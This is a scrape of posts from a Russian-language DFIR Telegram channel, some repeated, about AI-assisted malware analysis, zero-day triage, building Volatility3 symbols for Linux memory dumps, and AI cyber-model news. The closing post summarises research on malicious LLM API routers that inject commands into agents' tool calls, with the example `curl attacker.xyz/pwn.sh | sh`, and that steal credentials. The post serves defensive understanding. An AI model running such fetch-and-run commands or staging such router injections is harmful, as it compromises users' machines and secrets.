Интересное наблюдение
Продолжаю свои эксперименты по анализу семплов с применением ИИ агентов. Я отдал агенту семпл из семейства киберпартизан. Первый семпл, который я анализировал в посте выше, был для windows, новый был для Linux.
Я отдал агенту все наработки по анализу первого, думая, что он справится быстрее. но НЕТ. Время анализа оказалось даже чуть больше, чем в первом случае. И вот те причины, на которые я вышел в ходе своего "расследования"
1️⃣ Контекст по анализу первого семпла съел много входных токенов. Из-за этого контекст модели переполнился быстрее и промежуточное качество анализа было потеряно. То есть, когда даете контекст при решении схожей задачи нужно валидировать то, что вы отдаете и в каком виде. Иногда это может пойти даже во вред.
2️⃣ Вот это самое интересное. В первом разборе было реально много технических деталей и когда модель начала встречать те же паттерны она начала "слишком верить в себя". То есть вместо "рутинной ручной обработки", она начала пытаться подходить к задаче более абстрактно и автоматизировать выполнение. Итого 60 вызовов ida_python против 7 в первом случае. Модель потратила реально много времени и ресурса на автоматизацию, не справилась с ней, и вернулась к первой задаче, то есть сама модель поставила себе более амбициозную задачу, чем мы от нее просили изначально. Таким образом модель столкнулась с automation bias, который, обычно, относят к людям. Нужно отдать модели должное, она вылезла сама из этого состояния, пусть и ценой дополнительных токенов.
Нельзя забывать, что модели подвержены тем же отклонениям, что и люди. И при постановке задачи излишний контекст, иногда, только мешает ее выполнению, а не помогает.
PS
Поигравшись с промтом и входным контекстом получилось сократить время анализа на треть (24 минуты против 38) для семпла, который встречался в другой кампании киберпартизан и несущественно отличается от проанализированных ранее.
Продолжаю свои эксперименты по анализу семплов с применением ИИ агентов. Я отдал агенту семпл из семейства киберпартизан. Первый семпл, который я анализировал в посте выше, был для windows, новый был для Linux.
Я отдал агенту все наработки по анализу первого, думая, что он справится быстрее. но НЕТ. Время анализа оказалось даже чуть больше, чем в первом случае. И вот те причины, на которые я вышел в ходе своего "расследования"
Нельзя забывать, что модели подвержены тем же отклонениям, что и люди. И при постановке задачи излишний контекст, иногда, только мешает ее выполнению, а не помогает.
PS
Поигравшись с промтом и входным контекстом получилось сократить время анализа на треть (24 минуты против 38) для семпла, который встречался в другой кампании киберпартизан и несущественно отличается от проанализированных ранее.
Please open Telegram to view this post
VIEW IN TELEGRAM
🦄4⚡1👍1
Внимание!
Ниже будет немного философии и рассуждений, если нужен только технический хардкор - скип.
Поговорим про work life balance. Я думаю, мало кому удалось увернуться от этого термина. Современный мир - это большой клубок сплошных неврозов и стереотипов. Начиная с пеленок нам постоянно кто-то что-то навязывает. И в век технологий и всепроникающей рекламы данный феномен стал еще сильнее.
На эту тему есть много литературы. Мне очень понравилась книга нобелевского лауреата Даниэла Канемана “Думай медленно, решай быстро”. Для ленивых TL DR, но я, конечно, советую прочитать ее полностью. Она легкая, интересная, местами забавная, хоть и не маленькая.
Так о чем это я. Лично у меня в какой-то момент жизни сложился байес в сторону - чем больше ты делаешь, тем лучше. То есть, “работай больше”, ”покрывай больше сфер”, “сиди по ночам за проектами”, “overemployment” и вот это вот все.
Таким образом мы вообще забываем про себя любимых и не отдыхаем. И даже то, что мы делаем, может нам нравится. Но после дозы дешевого дофамина последует расплата в виде невысыпаний, проблем с психикой и здоровьем. А самое смешное, что этот порочный круг чаще всего невозможно разорвать. То есть нет того предела, на котором ты остановишься и похвалишь себя. Всегда будешь думать, что сделал мало.
Но с опытом понимаешь, что отдых - это классно, Что не только в работе есть прелести жизни.
Самое интересное в том, что именно в моменты расслабления к тебе придут самые продуктивные и интересные мысли. Именно те идеи, которые стоят твоих ресурсов и дадут реальный результат. Проверял сам, так действительно работает.
Поэтому, друзья, отдыхайте, наслаждайтесь жизнью, пробуйте новое и не чахните над очередной гиковской штукой каждую ночь, всему есть свое время, в том числе и отдыху.
Ниже будет немного философии и рассуждений, если нужен только технический хардкор - скип.
Поговорим про work life balance. Я думаю, мало кому удалось увернуться от этого термина. Современный мир - это большой клубок сплошных неврозов и стереотипов. Начиная с пеленок нам постоянно кто-то что-то навязывает. И в век технологий и всепроникающей рекламы данный феномен стал еще сильнее.
На эту тему есть много литературы. Мне очень понравилась книга нобелевского лауреата Даниэла Канемана “Думай медленно, решай быстро”. Для ленивых TL DR, но я, конечно, советую прочитать ее полностью. Она легкая, интересная, местами забавная, хоть и не маленькая.
Так о чем это я. Лично у меня в какой-то момент жизни сложился байес в сторону - чем больше ты делаешь, тем лучше. То есть, “работай больше”, ”покрывай больше сфер”, “сиди по ночам за проектами”, “overemployment” и вот это вот все.
Таким образом мы вообще забываем про себя любимых и не отдыхаем. И даже то, что мы делаем, может нам нравится. Но после дозы дешевого дофамина последует расплата в виде невысыпаний, проблем с психикой и здоровьем. А самое смешное, что этот порочный круг чаще всего невозможно разорвать. То есть нет того предела, на котором ты остановишься и похвалишь себя. Всегда будешь думать, что сделал мало.
Но с опытом понимаешь, что отдых - это классно, Что не только в работе есть прелести жизни.
Самое интересное в том, что именно в моменты расслабления к тебе придут самые продуктивные и интересные мысли. Именно те идеи, которые стоят твоих ресурсов и дадут реальный результат. Проверял сам, так действительно работает.
Поэтому, друзья, отдыхайте, наслаждайтесь жизнью, пробуйте новое и не чахните над очередной гиковской штукой каждую ночь, всему есть свое время, в том числе и отдыху.
2🔥4🦄1
Всем привет!
Поговорим про нули.
В жизни многих красивых 0day встречается свой DFIR специалист и становится у нее первым.
Вот, кстати, свежее исследование google. Интересно, почему у нас такое не публикуется (вопрос риторический).
https://cloud.google.com/blog/topics/threat-intelligence/2025-zero-day-review
Для многих 0day звучит как что-то страшное и непонятное, но на практике, все не так страшно. Вот мой список вопросов, который нужно задавать.
1. Что это за продукт? Все-таки 0day эксплойтят гораздо чаще на периметре, отсюда, чаще всего, это точка входа (но не обязательно). Если продукт проприетарный - то это по определению будет 0day, поэтому нам все равно. Если это известный продукт, см далее.
2. А что за версия? Очевидно, что для крупных продуктов ведется инвентаризация уязвимостей. Будь то NDV или БДУ. Здесь самое важное найти версию:
- реестр
- конфигурационные файлы
- имена файлов (особенно установщиков)
- /etc/<program> и т.д.
3. И вот мы поняли, что версия не попадает под известные уязвимости, что делать?
4. Естественно снимаем живую телеметрию, процессы, сетевые данные. Снимаем память, обязательно.
5. Забираем образ диска. Мы не можем знать заранее все особенности приложения и особенности эксплуатации уязвимости, поэтому нужно забирать все.
6. Что искать в образе? Смотрим на процессы, если есть логи процессов auditd/4688 смотрим туда и ищем аномалии, связанные с сервисом. Тут хорошо подойдут hayabusa или zircolite(да, он умеет в auditd). Если такой роскоши нет - у нас есть дамп памяти (об этом чуть ниже). Важный артефакт - дампы памяти minidump, wer, coredump и так далее. Эксплуатация некоторых 0day (например, так было с ethernal blue) связана с исполнением шелкода в памяти привилегированного процесса, а это всегда опасно и может вызывать аварийное завершение. При этом, могут формироваться файлы-дампы памяти и в них можно найти много интересного. Также ищем стандартно, файлы в окне инцидента, закрепы, продвижение, все, как обычно.
7. В дампе ищем строки, особенно пробегаемся по сетевым паттернам и шаблонам owasp top 10. Далее можно глубже разбирать сам дамп, процесс, копаться внутри него, но это уже при наличии контекста. Также можно вытащить трафик из дампа, но ограничения CAPLoader очень небольшие, поэтому тут сложнее.
8. Поднимаем стенд. Тут, конечно не обойтись без самого ПО и опытного red team’ера под рукой. Но схема рабочая, особенно при атаке на протокол.
Подводя итог, триаж 0day не много чем отличается от обычной точки входа, просто данных нужно больше, так как что искать - изначально непонятно.
Поговорим про нули.
В жизни многих красивых 0day встречается свой DFIR специалист и становится у нее первым.
Вот, кстати, свежее исследование google. Интересно, почему у нас такое не публикуется (вопрос риторический).
https://cloud.google.com/blog/topics/threat-intelligence/2025-zero-day-review
Для многих 0day звучит как что-то страшное и непонятное, но на практике, все не так страшно. Вот мой список вопросов, который нужно задавать.
1. Что это за продукт? Все-таки 0day эксплойтят гораздо чаще на периметре, отсюда, чаще всего, это точка входа (но не обязательно). Если продукт проприетарный - то это по определению будет 0day, поэтому нам все равно. Если это известный продукт, см далее.
2. А что за версия? Очевидно, что для крупных продуктов ведется инвентаризация уязвимостей. Будь то NDV или БДУ. Здесь самое важное найти версию:
- реестр
- конфигурационные файлы
- имена файлов (особенно установщиков)
- /etc/<program> и т.д.
3. И вот мы поняли, что версия не попадает под известные уязвимости, что делать?
4. Естественно снимаем живую телеметрию, процессы, сетевые данные. Снимаем память, обязательно.
5. Забираем образ диска. Мы не можем знать заранее все особенности приложения и особенности эксплуатации уязвимости, поэтому нужно забирать все.
6. Что искать в образе? Смотрим на процессы, если есть логи процессов auditd/4688 смотрим туда и ищем аномалии, связанные с сервисом. Тут хорошо подойдут hayabusa или zircolite(да, он умеет в auditd). Если такой роскоши нет - у нас есть дамп памяти (об этом чуть ниже). Важный артефакт - дампы памяти minidump, wer, coredump и так далее. Эксплуатация некоторых 0day (например, так было с ethernal blue) связана с исполнением шелкода в памяти привилегированного процесса, а это всегда опасно и может вызывать аварийное завершение. При этом, могут формироваться файлы-дампы памяти и в них можно найти много интересного. Также ищем стандартно, файлы в окне инцидента, закрепы, продвижение, все, как обычно.
7. В дампе ищем строки, особенно пробегаемся по сетевым паттернам и шаблонам owasp top 10. Далее можно глубже разбирать сам дамп, процесс, копаться внутри него, но это уже при наличии контекста. Также можно вытащить трафик из дампа, но ограничения CAPLoader очень небольшие, поэтому тут сложнее.
8. Поднимаем стенд. Тут, конечно не обойтись без самого ПО и опытного red team’ера под рукой. Но схема рабочая, особенно при атаке на протокол.
Подводя итог, триаж 0day не много чем отличается от обычной точки входа, просто данных нужно больше, так как что искать - изначально непонятно.
Google Cloud Blog
Look What You Made Us Patch: 2025 Zero-Days in Review | Google Cloud Blog
Our analysis of 90 zero-day vulnerabilities tracked in 2025, focusing on techniques and how AI will accelerate the vulnerability landscape.
👎1🦄1
Синяя шляпа
В тему предыдущего поста. Решил попробовать, как поведет себя AI на реальных семплах. Сегодня в программе два подопотных: 1. ReverseShell laplas от Sylent Lynx 2. PartisanDNS от киберпартизан Что я сделал? 1. Подписка Claude MAX 2. CLI claude code с привязанной…
Рубрика AI эксперименты снова с вами.
Конечно, использовать ИИ для решения своих задач это стильно модно молодежно, и, чаще всего, действительно эффективно.
Но всегда встает вопрос - "а что с приватностью". Очевидно, что используя api внешних сервисов ни о какой приватности речи быть не может, никто не знает, что они делают с данными.
Поэтому я решил повторить свой эксперимент с семплом PartisanDNS на selfhosted модели GLM 4.6 на 350+ миллиардов параметров (и нет, своего датацентра у меня нет). Все остальные составляющие эксперимента были те же. Для чистоты эксперимента я также не давал никаких препромтов и исходных данных.
Я ожидал увидеть результаты сильно хуже, чем claude. Но результат оказался обратным. GLM дала мне очень близкий результат к claude. Сам анализ был проведен сильно быстрее по времени (но тут технически я разрешил агенту сразу все методы MCP, а в первом эксперименте я разрешал последовательно по ходу использования). К сожалению, я не замерил время анализа, но было что-то не более 20 минут.
Но сам факт, что конкретно для задачи статического анализа на этом семпле китайские открытые модели ведут себя не хуже, чем западные лидеры!
Из забавного, модель очень долго не могла сгенерировать мне готовый документ с анализом (то ли в апи проблема, то ли в самой интеграции) и по мере очищения контекста после переполнения начала очень сильно галлюцинировать. Но здесь вопросы не к возможности модели, а к самой настройке окружения.
Результаты впечатляющие, будем посмотреть дальше.
Конечно, использовать ИИ для решения своих задач это стильно модно молодежно, и, чаще всего, действительно эффективно.
Но всегда встает вопрос - "а что с приватностью". Очевидно, что используя api внешних сервисов ни о какой приватности речи быть не может, никто не знает, что они делают с данными.
Поэтому я решил повторить свой эксперимент с семплом PartisanDNS на selfhosted модели GLM 4.6 на 350+ миллиардов параметров (и нет, своего датацентра у меня нет). Все остальные составляющие эксперимента были те же. Для чистоты эксперимента я также не давал никаких препромтов и исходных данных.
Я ожидал увидеть результаты сильно хуже, чем claude. Но результат оказался обратным. GLM дала мне очень близкий результат к claude. Сам анализ был проведен сильно быстрее по времени (но тут технически я разрешил агенту сразу все методы MCP, а в первом эксперименте я разрешал последовательно по ходу использования). К сожалению, я не замерил время анализа, но было что-то не более 20 минут.
Но сам факт, что конкретно для задачи статического анализа на этом семпле китайские открытые модели ведут себя не хуже, чем западные лидеры!
Из забавного, модель очень долго не могла сгенерировать мне готовый документ с анализом (то ли в апи проблема, то ли в самой интеграции) и по мере очищения контекста после переполнения начала очень сильно галлюцинировать. Но здесь вопросы не к возможности модели, а к самой настройке окружения.
Результаты впечатляющие, будем посмотреть дальше.
🔥1🍓1🦄1
Тут у моего бро бомбануло…
https://t.me/b4ckc0nn3ct/401
Советую всем почитать пост про это, там интересно и обстоятельно на тему параллельных Россий будущего.
https://t.me/crimsondigest/2052
Но я это все к чему. Хотел запилить пост про анализ дампов оперативной памяти для Linux, но телега блочится и придется отложить. А ведь сколько контента в итоге выложено не будет скилоовыми ребятами, кто просто не хочет заниматься этими всеми обходами(
https://t.me/b4ckc0nn3ct/401
Советую всем почитать пост про это, там интересно и обстоятельно на тему параллельных Россий будущего.
https://t.me/crimsondigest/2052
Но я это все к чему. Хотел запилить пост про анализ дампов оперативной памяти для Linux, но телега блочится и придется отложить. А ведь сколько контента в итоге выложено не будет скилоовыми ребятами, кто просто не хочет заниматься этими всеми обходами(
Telegram
Backconnect
БЛОКИРОВКИ
РКН и МинЦифры слегка опростоволосились при попытке заблокировать ру-интернет.
Когда они начали все это внедрять неожиданно оказалось (раньше про это никто видимо не думал), что на это надо:
- много (прям очень много) денег
- мозги, чтобы настроить…
РКН и МинЦифры слегка опростоволосились при попытке заблокировать ру-интернет.
Когда они начали все это внедрять неожиданно оказалось (раньше про это никто видимо не думал), что на это надо:
- много (прям очень много) денег
- мозги, чтобы настроить…
🦄3🔥1
В последнее время я почти всегда пишу про ИИ. Действительно, это направление моих исследований, причем и со стороны ИБ и со стороны IT.
Но сегодня поговорим про DFIR old staff, и тема не самая тривиальная - анализ дампов оперативной памяти Linux систем.
Дамп памяти - это, фактически, просто набор байт. Иногда в этих байтах встречаются читаемые строки.
Такие наборы - это четко организованная структура с типами, смещениями и адресами.
Для того, чтобы volatility знала эти структуры и смещения нам нужно подгрузить туда ISF-файл (Intermediate Symbol Format) — JSON-документ, сгенерированный из DWARF debug-информации ядра.
Так как Linux дистрибутивов много, то ISF под каждую ОС можно не найти (или найти, но об этом чуть позже).
То есть, если в хранилище символов volatility нет нужных (как правило это volatility3/symbols/...)
То будет что-то вроде
Вот пути, где могут быть символы
- volatility3/volatility3/symbols/
- volatility3/volatility3/framework/symbols/
- ~/.cache/volatility3/symbols
Представим, что мы столкнулись с ситуацией, когда у нас нет символов, например: Debian 13 (Trixie) 6.12.74+deb13+1-amd64, собранный в марте этого года.
Что нужно для генерации ISF:
1. dwarf2json — утилита от Volatility Foundation для конвертации DWARF в ISF
2. vmlinux с debug-символами — ELF-файл ядра с DWARF-информацией (with debug_info, not stripped)
3. System.map (опционально) — таблица символов ядра, добавляет дополнительные структуры.
Вот пошагово:
1. Ставим GO (out of scoup) и dwarf2json
2. Качаем нужный пакет с debug символами (отдельный квест найти его в интернете)
3. вытаскиваем оттуда ядро
В результате должно быть:
Здесь ключевое with debug_info, not stripped
После этого генерируем dwarf2json:
Далее пакуем символы и кладем их в volatility
Но сегодня поговорим про DFIR old staff, и тема не самая тривиальная - анализ дампов оперативной памяти Linux систем.
Дамп памяти - это, фактически, просто набор байт. Иногда в этих байтах встречаются читаемые строки.
Такие наборы - это четко организованная структура с типами, смещениями и адресами.
Для того, чтобы volatility знала эти структуры и смещения нам нужно подгрузить туда ISF-файл (Intermediate Symbol Format) — JSON-документ, сгенерированный из DWARF debug-информации ядра.
Так как Linux дистрибутивов много, то ISF под каждую ОС можно не найти (или найти, но об этом чуть позже).
То есть, если в хранилище символов volatility нет нужных (как правило это volatility3/symbols/...)
То будет что-то вроде
Unable to validate the plugin requirements:
['plugins.PsList.kernel.layer_name', 'plugins.PsList.kernel.symbol_table_name']
A symbol table requirement was not fulfilled. Please verify that:
- The associated translation layer requirement was fulfilled
- You have the correct symbol file for the requirement
- The symbol file is under the correct directory or zip file
- The symbol file is named appropriately or contains the correct banner
Вот пути, где могут быть символы
- volatility3/volatility3/symbols/
- volatility3/volatility3/framework/symbols/
- ~/.cache/volatility3/symbols
Представим, что мы столкнулись с ситуацией, когда у нас нет символов, например: Debian 13 (Trixie) 6.12.74+deb13+1-amd64, собранный в марте этого года.
Что нужно для генерации ISF:
1. dwarf2json — утилита от Volatility Foundation для конвертации DWARF в ISF
2. vmlinux с debug-символами — ELF-файл ядра с DWARF-информацией (with debug_info, not stripped)
3. System.map (опционально) — таблица символов ядра, добавляет дополнительные структуры.
Вот пошагово:
1. Ставим GO (out of scoup) и dwarf2json
go install github.com/volatilityfoundation/dwarf2json@latest2. Качаем нужный пакет с debug символами (отдельный квест найти его в интернете)
curl -L -o linux-image-dbg.deb \
"https://snapshot.debian.org/archive/debian/20260314T143719Z/pool/main/l/linux/linux-image-6.12.74%2Bdeb13%2B1-amd64-dbg_6.12.74-2_amd64.deb"
3. вытаскиваем оттуда ядро
ar x linux-image-dbg.deb
xz -d data.tar.xz
tar -tf data.tar | grep vmlinux
tar -xf data.tar ./usr/lib/debug/boot/vmlinux-6.12.74+deb13+1-amd64
В результате должно быть:
file /usr/lib/debug/boot/vmlinux-6.12.74+deb13+1-amd64
ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked,
BuildID[sha1]=9d7c34265ac346a6bc9d06ebb874562e1647648e, with debug_info, not stripped
Здесь ключевое with debug_info, not stripped
После этого генерируем dwarf2json:
~/go/bin/dwarf2json linux \
--elf ./usr/lib/debug/boot/vmlinux-6.12.74+deb13+1-amd64 \
--system-map <optional> \
> Debian_6.12.74+deb13+1-amd64.json
Далее пакуем символы и кладем их в volatility
xz -9 Debian_6.12.74+deb13+1-amd64.json
cp Debian_6.12.74+deb13+1-amd64.json.xz \
volatility3/volatility3/symbols/linux/
🔥2🦄1
После этого получаем корректный вывод
❯ python tools/volatility3/vol.py -f evidence/extracted/memory_dump/avml.lime linux.pslist.PsList
Volatility 3 Framework 2.28.1
Progress: 100.00 Stacking attempts finished
OFFSET (V) PID TID PPID COMM UID GID EUID EGID CREATION TIME File output
0x8c7cc0281980 1 1 0 systemd 0 0 0 0 2026-03-24 23:22:59.055213 UTC Disabled
0x8c7cc0280000 2 2 0 kthreadd 0 0 0 0 2026-03-24 23:22:59.055213 UTC Disabled
0x8c7cc0284c80 3 3 2 pool_workqueue_ 0 0 0 0 2026-03-24 23:22:59.175213 UTC Disabled
0x8c7cc0286600 4 4 2 kworker/R-kvfre 0 0 0 0 2026-03-24 23:22:59.175213 UTC Disabled
0x8c7cc0283300 5 5 2 kworker/R-rcu_g 0 0 0 0 2026-03-24 23:22:59.175213 UTC Disabled
0x8c7cc02a6600 6 6 2 kworker/R-sync_ 0 0 0 0 2026-03-24 23:22:59.175213 UTC Disabled
0x8c7cc02a3300 7 7 2 kworker/R-slub_ 0 0 0 0 2026-03-24 23:22:59.175213 UTC Disabled
0x8c7cc02a1980 8 8 2 kworker/R-netns 0 0 0 0 2026-03-24 23:22:59.175213 UTC Disabled
0x8c7cc02a4c80 10 10 2 kworker/0:1 0 0 0 0 2026-03-24 23:22:59.175213 UTC Disabled
0x8c7cc02e6600 11 11 2 kworker/0:0H 0 0 0 0 2026-03-24 23:22:59.175213 UTC Disabled
0x8c7cc02e3300 12 12 2 kworker/u16:0 0 0 0 0 2026-03-24 23:22:59.175213 UTC Disabled
0x8c7cc02e1980 13 13 2 kworker/R-mm_pe 0 0 0 0 2026-03-24 23:22:59.175213 UTC Disabled
0x8c7cc02e0000 14 14 2 rcu_tasks_kthre 0 0 0 0 2026-03-24 23:22:59.175213 UTC Disabled
0x8c7cc02e4c80 15 15 2 rcu_tasks_rude_ 0 0 0 0 2026-03-24 23:22:59.175213 UTC Disabled
0x8c7cc02ecc80 16 16 2 rcu_tasks_trace 0 0 0 0 2026-03-24 23:22:59.175213 UTC Disabled
0x8c7cc02ee600 17 17 2 ksoftirqd/0 0 0 0 0 2026-03-24 23:22:59.175213 UTC Disabled
А теперь десерт.
Задача преобразования символов ядра в ISF для volatility достаточно понятная и ее можно автоматизировать, что уже сделано.
Например, абсолютно то же самое можно найти в открытых репо , и не заниматься упражнениями выше.
Но все еще у нас остается как минимум два кейса, где это не поможет:
1. Наши отечественные дистрибутивы
2. Закрытые дистрибутивы
В таких случаях можно утащить с собой при триаже:
- /boot/vmlinuz-<version>
- /boot/System.map-<version>
- /lib/modules/<version>/
GitHub
volatility3-symbols/Debian/amd64/6.12.74+deb13+1 at master · Abyss-W4tcher/volatility3-symbols
Collection of Linux and macOS Volatility3 Intermediate Symbol Files (ISF), suitable for memory analysis 🔍 - Abyss-W4tcher/volatility3-symbols
🔥3🦄2
Forwarded from ИИ для бизнеса / Михаил Ларькин
Новая модель Anthropic нашла тысячи уязвимостей в ОС и браузерах
В Anthropic утверждают, что новая, ещё не вышедшая модель Claude Mythos, за несколько дней нашла тысячи zero-day уязвимостей во всех основных операционных системах и браузерах. И всё это почти полностью автономно, без управления со стороны людей.
Примеры найденного Mythos:
— 27-летняя уязвимость в OpenBSD (одной из самых защищённых ОС в мире), позволяющая удалённо «уронить» любую машину простым подключением к ней
— 16-летняя уязвимость в FFmpeg (используется почти всем софтом для работы с видео) — в строке кода, которую автоматические тесты проверяли 5 миллионов раз и ни разу не поймали
— Цепочка уязвимостей в ядре Linux, позволяющая получить полный контроль над сервером
В Anthropic понимают, что AI уже способен находить и эксплуатировать уязвимости на уровне лучших специалистов. Скоро эти возможности будут у всех, включая тех, кто не собирается использовать их во благо.
Чтобы дать защитникам фору, Anthropic запустил инициативу Project Glasswing. Более 40 компаний получили доступ к Mythos Preview и 100 миллионов долларов в usage credits. В списке AWS, Apple, Google, Microsoft, NVIDIA и другие. Они смогут использовать Mythos для поиска и закрытия уязвимостей в собственной инфраструктуре до того, как модели такого уровня попадут в руки злоумышленников.
https://www.anthropic.com/glasswing
В Anthropic утверждают, что новая, ещё не вышедшая модель Claude Mythos, за несколько дней нашла тысячи zero-day уязвимостей во всех основных операционных системах и браузерах. И всё это почти полностью автономно, без управления со стороны людей.
Примеры найденного Mythos:
— 27-летняя уязвимость в OpenBSD (одной из самых защищённых ОС в мире), позволяющая удалённо «уронить» любую машину простым подключением к ней
— 16-летняя уязвимость в FFmpeg (используется почти всем софтом для работы с видео) — в строке кода, которую автоматические тесты проверяли 5 миллионов раз и ни разу не поймали
— Цепочка уязвимостей в ядре Linux, позволяющая получить полный контроль над сервером
В Anthropic понимают, что AI уже способен находить и эксплуатировать уязвимости на уровне лучших специалистов. Скоро эти возможности будут у всех, включая тех, кто не собирается использовать их во благо.
Чтобы дать защитникам фору, Anthropic запустил инициативу Project Glasswing. Более 40 компаний получили доступ к Mythos Preview и 100 миллионов долларов в usage credits. В списке AWS, Apple, Google, Microsoft, NVIDIA и другие. Они смогут использовать Mythos для поиска и закрытия уязвимостей в собственной инфраструктуре до того, как модели такого уровня попадут в руки злоумышленников.
https://www.anthropic.com/glasswing
🔥1🦄1
Прикольно, теперь и OpenAI выпустит свою модель, специализированную на кибербезе и даст его только компаниям, входящим в "белые списки".
https://archive.ph/o5rKu
В сети много исследований, что большие классные модели, типа GPT Pro и Opus, при корректной настройке, решают задачи кибербеза лучше, чем натренированные на это модели. Тот случай, когда размер имеет значение.
И вот тут интересная история. Если generic модели и так лучше, что будет, если гиганты ИИ начнут выпускать специализированные модели...
А отсюда вывод еще интереснее. После этого можно разделить потребителей на 3 типа:
1️⃣ Кто не пользуется ИИ
2️⃣ Кто пользуется Generic моделями
3️⃣ У кого есть доступ к frontier моделям ( тот же Mythos или новая модель OpenAI)
Разрыв между 1 и 2 категорией уже колоссальный, а разрыв между 1 и 3 категорией будет, ну я не знаю.
То есть если развить геополитически, вот есть наши "опоненты", которые ломают наши системы ВКС и CMS (без конкретных имен). Доступ к уровню 3 им будет давать просто потрясающие возможности для поиска новых точек входа с невероятной скоростью.
А, благодаря усилиям наших властей и бюрократии, противостоять этому будут ребята на уровне 1. Как-то нечестно получается =(
Поэтому о таких угрозах нужно думать уже сейчас и пытаться придумать меры митигации для эксплойт врайтера 99 уровня с той стороны.
https://archive.ph/o5rKu
В сети много исследований, что большие классные модели, типа GPT Pro и Opus, при корректной настройке, решают задачи кибербеза лучше, чем натренированные на это модели. Тот случай, когда размер имеет значение.
И вот тут интересная история. Если generic модели и так лучше, что будет, если гиганты ИИ начнут выпускать специализированные модели...
А отсюда вывод еще интереснее. После этого можно разделить потребителей на 3 типа:
1️⃣ Кто не пользуется ИИ
2️⃣ Кто пользуется Generic моделями
3️⃣ У кого есть доступ к frontier моделям ( тот же Mythos или новая модель OpenAI)
Разрыв между 1 и 2 категорией уже колоссальный, а разрыв между 1 и 3 категорией будет, ну я не знаю.
То есть если развить геополитически, вот есть наши "опоненты", которые ломают наши системы ВКС и CMS (без конкретных имен). Доступ к уровню 3 им будет давать просто потрясающие возможности для поиска новых точек входа с невероятной скоростью.
А, благодаря усилиям наших властей и бюрократии, противостоять этому будут ребята на уровне 1. Как-то нечестно получается =(
Поэтому о таких угрозах нужно думать уже сейчас и пытаться придумать меры митигации для эксплойт врайтера 99 уровня с той стороны.
archive.ph
OpenAI eyes staggered rollout of new model over cybersecurity risk
archived 9 Apr 2026 09:53:34 UTC
👍2🦄2
Наткнулся на свежую работу.
Называется "Your Agent Is Mine". Тема — LLM API routers как вектор атаки на supply chain.
Немного контекста. Большинство production инсталляций агентов не ходят напрямую к OpenAI или Anthropic. Между клиентом и моделью стоит один или несколько роутеров — прокси-сервисов, которые принимают запрос, выбирают провайдера, возвращают ответ. Как пример: LiteLLM, OpenRouter, плюс тысячи commodity-роутеров на Taobao и Xianyu для рынков, где прямой доступ к API ограничен или дорог (кстати очень актуально, в связи с последними событиями, и в России).
Архитектурная проблема в том, что каждый такой роутер терминирует TLS-сессию с обеих сторон (Б-безопасность). Полный plaintext-доступ к system prompt, tool definitions, tool-call responses, API-ключам. И никакого end-to-end integrity между клиентом и моделью не существует в принципе. Роутер может прочитать, подменить или сфабриковать любой tool-call payload — и никто не заметит.
Авторы формализовали 4 класса атак.
1️⃣ AC-1 - подмена tool-call ответа модели (например, URL установщика меняется на
2️⃣ AC-2 - пассивная кража credentials и API-ключей транзитом.
Плюс два адаптивных варианта:
3️⃣ AC-1.a - подмена только для Rust/Go проектов
4️⃣ AC-1.b - payload, который доставляется только после N запросов или исключительно в сессиях с auto-approved tool execution — YOLO mode.
А теперь самое интересное — они пошли и проверили это в дикой природе. Купили 28 платных роутеров и собрали 400 бесплатных из публичных сообществ.
Результат:
- 1 платный и 8 бесплатных активно инжектят malicious code в tool-call ответы.
- 2 роутера используют adaptive evasion.
- 17 роутеров потрогали researcher-owned AWS canary credentials.
- Один роутер слил ETH с исследовательского приватного ключа.
А дальше они решили поиграть в разведку. Авторы намеренно слили один OpenAI-ключ в китайские форумы и Telegram-группы. Этот один ключ сгенерировал 100M токенов GPT-5.4 и 7+ Codex-сессий. Параллельно они подняли слабо сконфигурированные decoy-роутеры на 20 доменах. Через них прошло 2B токенов, утекло 99 credentials(!!!) из 440 Codex-сессий на 398 разных проектах. Из 440 сессий — 401 уже работала в YOLO mode (и снова, Б-Безопасность). Любой инжект — и агент выполнит что угодно.
И что же с этим всем делать??? подумал я и скажете вы.
Авторы предлагают три client-side меры:
1. fail-closed policy gate (блокирует shell-rewrite паттерны, 1% false positives). По сути, просто отсекать то, что мы считаем нелегитимным.
2. аномальный скрининг на стороне ответа (89% детект без изменений у провайдера). То есть мы сразу после запроса сами строим ожидание того, что должно быть в ответе. И если ожидание и реальность не сходится (как обычно это бывает), то тригерим аномалию.
3. append-only transparency logging. По сути просто нередактируемый журнал всех запросов-ответов для ретроспективы.
Очевидно, что это лишь лечение симптомов и врятли спасет от атаки, в чем авторы также признаются. Фундаментально закрыть это можно только provider-backed response integrity, то есть криптографической привязкой tool-call output к тому, что реально сгенерировала модель. Фактически, это просто борьба с митм атакой посредством подписи на стороне клиента и провайдера LLM. Пока этого нет ни у кого.
В интересном мире мы живем, технологии новые, а атаки старые.
Называется "Your Agent Is Mine". Тема — LLM API routers как вектор атаки на supply chain.
Немного контекста. Большинство production инсталляций агентов не ходят напрямую к OpenAI или Anthropic. Между клиентом и моделью стоит один или несколько роутеров — прокси-сервисов, которые принимают запрос, выбирают провайдера, возвращают ответ. Как пример: LiteLLM, OpenRouter, плюс тысячи commodity-роутеров на Taobao и Xianyu для рынков, где прямой доступ к API ограничен или дорог (кстати очень актуально, в связи с последними событиями, и в России).
Архитектурная проблема в том, что каждый такой роутер терминирует TLS-сессию с обеих сторон (Б-безопасность). Полный plaintext-доступ к system prompt, tool definitions, tool-call responses, API-ключам. И никакого end-to-end integrity между клиентом и моделью не существует в принципе. Роутер может прочитать, подменить или сфабриковать любой tool-call payload — и никто не заметит.
Авторы формализовали 4 класса атак.
1️⃣ AC-1 - подмена tool-call ответа модели (например, URL установщика меняется на
curl attacker.xyz/pwn.sh | sh). 2️⃣ AC-2 - пассивная кража credentials и API-ключей транзитом.
Плюс два адаптивных варианта:
3️⃣ AC-1.a - подмена только для Rust/Go проектов
4️⃣ AC-1.b - payload, который доставляется только после N запросов или исключительно в сессиях с auto-approved tool execution — YOLO mode.
А теперь самое интересное — они пошли и проверили это в дикой природе. Купили 28 платных роутеров и собрали 400 бесплатных из публичных сообществ.
Результат:
- 1 платный и 8 бесплатных активно инжектят malicious code в tool-call ответы.
- 2 роутера используют adaptive evasion.
- 17 роутеров потрогали researcher-owned AWS canary credentials.
- Один роутер слил ETH с исследовательского приватного ключа.
